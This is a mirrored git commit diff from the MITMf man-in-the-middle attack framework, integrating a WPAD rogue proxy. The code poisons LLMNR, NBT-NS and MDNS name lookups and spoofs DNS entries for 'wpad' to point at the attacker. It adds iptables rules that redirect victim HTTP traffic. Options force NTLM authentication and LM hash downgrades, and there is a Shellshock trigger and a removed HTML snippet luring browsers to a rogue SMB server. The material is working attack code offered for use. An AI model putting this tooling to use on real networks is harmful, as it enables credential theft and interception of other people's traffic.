mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-16 10:03:52 -07:00
WPAD now integrated
This commit is contained in:
parent
ebf6af1da9
commit
d01398d8a8
13 changed files with 82 additions and 39 deletions
|
@ -49,14 +49,11 @@ ExecFilename = FixInternet.exe
|
||||||
;Set your custom PAC script
|
;Set your custom PAC script
|
||||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
|
||||||
;
|
;
|
||||||
;HTML answer to inject.
|
|
||||||
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
|
|
||||||
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
|
|
||||||
[HTTPS Server]
|
[HTTPS Server]
|
||||||
;
|
;
|
||||||
;Change to use your certs
|
;Change to use your certs
|
||||||
cert = config/certs/responder.crt
|
cert = config/responder/certs/responder.crt
|
||||||
key = config/certs/responder.key
|
key = config/responder/certs/responder.key
|
||||||
;
|
;
|
||||||
|
|
||||||
|
|
|
@ -22,12 +22,13 @@ from Fingerprint import RunSmbFinger,OsNameClientVersion
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from socket import inet_aton
|
from socket import inet_aton
|
||||||
from random import randrange
|
from random import randrange
|
||||||
|
from libs.sslstrip.DnsCache import DnsCache
|
||||||
|
|
||||||
VERSION = '2.1.2'
|
VERSION = '2.1.2'
|
||||||
|
|
||||||
#Config parsing
|
#Config parsing
|
||||||
config = ConfigParser.ConfigParser()
|
config = ConfigParser.ConfigParser()
|
||||||
config.read("./config/responder.conf")
|
config.read("./config/responder/responder.conf")
|
||||||
|
|
||||||
# Set some vars.
|
# Set some vars.
|
||||||
On_Off = config.get('Responder Core', 'HTTP').upper()
|
On_Off = config.get('Responder Core', 'HTTP').upper()
|
||||||
|
@ -47,7 +48,7 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||||
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||||
FILENAME = config.get('HTTP Server', 'Filename')
|
FILENAME = config.get('HTTP Server', 'Filename')
|
||||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
#HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
|
||||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||||
RespondTo.split(",")
|
RespondTo.split(",")
|
||||||
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||||
|
@ -57,8 +58,7 @@ DontRespondTo.split(",")
|
||||||
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
|
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
|
||||||
DontRespondToName.split(",")
|
DontRespondToName.split(",")
|
||||||
|
|
||||||
if HTMLToServe == None:
|
HTMLToServe = ''
|
||||||
HTMLToServe = ''
|
|
||||||
|
|
||||||
if len(NumChal) is not 16:
|
if len(NumChal) is not 16:
|
||||||
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
||||||
|
@ -338,6 +338,7 @@ class NB(BaseRequestHandler):
|
||||||
if data[2:4] == "\x01\x10":
|
if data[2:4] == "\x01\x10":
|
||||||
if Validate_NBT_NS(data,Wredirect):
|
if Validate_NBT_NS(data,Wredirect):
|
||||||
if RespondToSpecificName(RespondToName) == False:
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
|
DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff = NBT_Ans()
|
buff = NBT_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
@ -358,6 +359,7 @@ class NB(BaseRequestHandler):
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
pass
|
pass
|
||||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
|
DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff = NBT_Ans()
|
buff = NBT_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
@ -386,6 +388,7 @@ class NB(BaseRequestHandler):
|
||||||
if data[2:4] == "\x01\x10":
|
if data[2:4] == "\x01\x10":
|
||||||
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
|
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
|
||||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
|
DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff = NBT_Ans()
|
buff = NBT_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
@ -406,6 +409,7 @@ class NB(BaseRequestHandler):
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
pass
|
pass
|
||||||
if RespondToSpecificName(RespondToName) == False:
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
|
DnsCache.getInstance().setCustomRes(Name.lower())
|
||||||
buff = NBT_Ans()
|
buff = NBT_Ans()
|
||||||
buff.calculate(data)
|
buff.calculate(data)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
|
@ -2304,7 +2308,8 @@ def Is_HTTPS_On(SSL_On_Off):
|
||||||
#Function name self-explanatory
|
#Function name self-explanatory
|
||||||
def Is_WPAD_On(on_off):
|
def Is_WPAD_On(on_off):
|
||||||
if on_off == True:
|
if on_off == True:
|
||||||
return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
|
return True
|
||||||
|
#return thread.start_new(serve_thread_tcp,('', 3141,ProxyHandler))
|
||||||
if on_off == False:
|
if on_off == False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -2522,7 +2527,7 @@ def start_responder(options, ip_address):
|
||||||
start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off
|
start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off
|
||||||
start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
|
start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off
|
||||||
|
|
||||||
print start_message
|
logging.debug(start_message)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
num_thrd = 1
|
num_thrd = 1
|
||||||
|
|
|
@ -1,28 +1,41 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
class DnsCache:
|
class DnsCache:
|
||||||
|
|
||||||
'''
|
'''
|
||||||
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
|
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
|
||||||
'''
|
'''
|
||||||
|
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.cache = {}
|
self.customAddress = None
|
||||||
|
self.cache = {}
|
||||||
|
|
||||||
def cacheResolution(self, host, address):
|
def cacheResolution(self, host, address):
|
||||||
self.cache[host] = address
|
self.cache[host] = address
|
||||||
|
|
||||||
def getCachedAddress(self, host):
|
def getCachedAddress(self, host):
|
||||||
if host in self.cache:
|
if host in self.cache:
|
||||||
return self.cache[host]
|
return self.cache[host]
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if DnsCache._instance == None:
|
if DnsCache._instance == None:
|
||||||
DnsCache._instance = DnsCache()
|
DnsCache._instance = DnsCache()
|
||||||
|
|
||||||
return DnsCache._instance
|
return DnsCache._instance
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
def setCustomRes(self, host, ip_address=None):
|
||||||
|
if ip_address is not None:
|
||||||
|
self.cache[host] = ip_address
|
||||||
|
logging.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
||||||
|
else:
|
||||||
|
if self.customAddress is not None:
|
||||||
|
self.cache[host] = self.customAddress
|
||||||
|
|
||||||
|
def setCustomAddress(self, ip_address):
|
||||||
|
self.customAddress = ip_address
|
||||||
|
|
||||||
|
getInstance = staticmethod(getInstance)
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
class DnsCache:
|
class DnsCache:
|
||||||
|
|
||||||
|
@ -8,6 +9,7 @@ class DnsCache:
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
self.customAddress = None
|
||||||
self.cache = {}
|
self.cache = {}
|
||||||
|
|
||||||
def cacheResolution(self, host, address):
|
def cacheResolution(self, host, address):
|
||||||
|
@ -25,4 +27,15 @@ class DnsCache:
|
||||||
|
|
||||||
return DnsCache._instance
|
return DnsCache._instance
|
||||||
|
|
||||||
getInstance = staticmethod(getInstance)
|
def setCustomRes(self, host, ip_address=None):
|
||||||
|
if ip_address is not None:
|
||||||
|
self.cache[host] = ip_address
|
||||||
|
logging.debug("DNS entry set: %s -> %s" %(host, ip_address))
|
||||||
|
else:
|
||||||
|
if self.customAddress is not None:
|
||||||
|
self.cache[host] = self.customAddress
|
||||||
|
|
||||||
|
def setCustomAddress(self, ip_address):
|
||||||
|
self.customAddress = ip_address
|
||||||
|
|
||||||
|
getInstance = staticmethod(getInstance)
|
4
mitmf.py
4
mitmf.py
|
@ -72,6 +72,10 @@ if __name__ == "__main__":
|
||||||
|
|
||||||
#All our options should be loaded now, pass them onto plugins
|
#All our options should be loaded now, pass them onto plugins
|
||||||
print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version
|
print "[*] MITMf v%s started... initializing plugins and modules" % mitmf_version
|
||||||
|
if ('--responder' and '--wpad') in sys.argv:
|
||||||
|
args.listen = 3141
|
||||||
|
print "[*] Listening on port 3141 since --responder --wpad was passed"
|
||||||
|
|
||||||
load = []
|
load = []
|
||||||
try:
|
try:
|
||||||
for p in plugins:
|
for p in plugins:
|
||||||
|
|
|
@ -13,11 +13,7 @@ import string
|
||||||
from libs.bdfactory import pebin, elfbin
|
from libs.bdfactory import pebin, elfbin
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from tempfile import mkstemp
|
from tempfile import mkstemp
|
||||||
|
from configobj import ConfigObj
|
||||||
try:
|
|
||||||
from configobj import ConfigObj
|
|
||||||
except:
|
|
||||||
sys.exit('[-] configobj library not installed!')
|
|
||||||
|
|
||||||
|
|
||||||
class FilePwn(Plugin):
|
class FilePwn(Plugin):
|
||||||
|
|
|
@ -1,23 +1,24 @@
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
import logging
|
import logging
|
||||||
import sys
|
|
||||||
import os
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import get_if_addr
|
from scapy.all import get_if_addr
|
||||||
from libs.responder.Responder import start_responder
|
from libs.responder.Responder import start_responder
|
||||||
|
from libs.sslstrip.DnsCache import DnsCache
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
import threading
|
import threading
|
||||||
|
|
||||||
class Responder(Plugin):
|
class Responder(Plugin):
|
||||||
name = "Responder"
|
name = "Responder"
|
||||||
optname = "responder"
|
optname = "responder"
|
||||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||||
|
#implements = ["handleResponse"]
|
||||||
has_opts = True
|
has_opts = True
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.interface = options.interface
|
self.interface = options.interface
|
||||||
self.ip_address = None
|
|
||||||
|
|
||||||
if os.geteuid() != 0:
|
if os.geteuid() != 0:
|
||||||
sys.exit("[-] Responder plugin requires root privileges")
|
sys.exit("[-] Responder plugin requires root privileges")
|
||||||
|
@ -30,6 +31,15 @@ class Responder(Plugin):
|
||||||
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||||
|
|
||||||
print "[*] Responder plugin online"
|
print "[*] Responder plugin online"
|
||||||
|
DnsCache.getInstance().setCustomAddress(self.ip_address)
|
||||||
|
DnsCache.getInstance().setCustomRes('wpad', self.ip_address)
|
||||||
|
DnsCache.getInstance().setCustomRes('ISAProxySrv', self.ip_address)
|
||||||
|
DnsCache.getInstance().setCustomRes('RespProxySrv', self.ip_address)
|
||||||
|
|
||||||
|
if '--spoof' not in sys.argv:
|
||||||
|
print '[*] Setting up iptables'
|
||||||
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||||
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)
|
||||||
|
|
||||||
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))
|
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
|
@ -44,4 +54,9 @@ class Responder(Plugin):
|
||||||
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
||||||
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||||
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
||||||
options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose")
|
options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose")
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
if '--spoof' not in sys.argv:
|
||||||
|
print '\n[*] Flushing iptables'
|
||||||
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
|
@ -338,7 +338,7 @@ class Spoof(Plugin):
|
||||||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
||||||
options.add_argument('--shellshock', type=str, dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
options.add_argument('--shellshock', type=str, dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||||
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
||||||
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue